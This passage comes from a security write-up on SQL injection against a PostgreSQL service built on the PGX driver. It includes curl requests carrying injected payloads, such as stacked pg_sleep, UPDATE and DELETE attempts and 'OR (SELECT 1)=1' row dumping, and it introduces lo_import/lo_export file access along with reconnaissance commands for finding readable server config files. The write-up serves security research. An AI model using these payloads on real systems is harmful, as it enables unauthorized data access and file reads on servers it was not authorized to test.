text stringlengths 0 1.99k |
|---|
Luckily for us, PostgreSQL drivers should easily support stacked queries, |
opening a wide range of attack vectors for us. We should be able to append |
additional queries separated by a semicolon like: |
-------------------------------------------------------------------------- |
SELECT id, text FROM phrases WHERE id=-1; SELECT pg_sleep(5); |
-------------------------------------------------------------------------- |
Let's just try it... Oh no, what is that? |
-------------------------------------------------------------------------- |
$ curl -G "http://172.23.16.127:8000/phrases" \ |
--data-urlencode "id=-1; SELECT pg_sleep(5)" |
{ |
"error":"ERROR: cannot insert multiple commands into a prepared |
statement (SQLSTATE 42601)" |
} |
-------------------------------------------------------------------------- |
---[ 1.1 - No stacked queries for you |
It turns out that the PGX developers decided to **secure** driver use |
by converting any SQL query to a prepared statement under the hood. |
This is done to disable any stacked queries whatsoever[2]. It works |
because the the PostgreSQL database itself does not allow multiple queries |
inside a single prepared statement[3]. |
So, we are suddenly constrained to a single SELECT query! The DBMS will |
reject any stacked queries, and nested UPDATE or DELETE queries are also |
prohibited by the SQL syntax. |
-------------------------------------------------------------------------- |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 OR (UPDATE * phrases SET text='lol')" |
{ |
"error":"ERROR: syntax error at or near \"SET\" (SQLSTATE 42601)" |
} |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 OR (DELETE * FROM phrases)" |
{ |
"error":"ERROR: syntax error at or near \"FROM\" (SQLSTATE 42601)" |
} |
-------------------------------------------------------------------------- |
Nested SELECT queries are still possible, though! |
-------------------------------------------------------------------------- |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 OR (SELECT 1)=1" |
[ |
{"id":1,"text":"Hello, world!"}, |
... |
{"id":14,"text":"Find your inner peace."}, |
{"id":15,"text":"Dance in the rain"} |
] |
-------------------------------------------------------------------------- |
Since one can read the DB data without the SQLi, is this bug even worth |
reporting? |
---[ 1.2 - Abusing server-side lo_ functions |
Not all hope is lost, though! Since nested SELECT SQL queries are allowed, |
we can try to call some of the built-in PostgreSQL functions and see if |
there are any that can help us. |
PostgreSQL has several functions that allow reading files from and writing |
to the server running the DBMS. These functions[4] are a part of the |
PostgreSQL Large Objects functionality, and should be accessible |
to the superusers by default: |
1. lo_import(path_to_file, lo_id) - read the file into the DB large object |
2. lo_export(lo_id, path_to_file) - dump the large object into a file |
What files can be read? Since the DBMS is normally running under the |
postgres user, we can search for readable files via the following |
command: |
-------------------------------------------------------------------------- |
$ cat /etc/passwd | grep postgres |
postgres:x:129:129::/var/lib/postgresql:/bin/bash |
$ find / -uid 129 -type f -perm -600 2>/dev/null |
... |
/var/lib/postgresql/data/postgresql.conf <---- main service config |
/var/lib/postgresql/data/pg_hba.conf <---- authentication config |
/var/lib/postgresql/data/pg_ident.conf <---- psql username mapping |
... |
/var/lib/postgresql/13/main/base/1/2654 <---- some data files |
/var/lib/postgresql/13/main/base/1/2613 |
-------------------------------------------------------------------------- |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.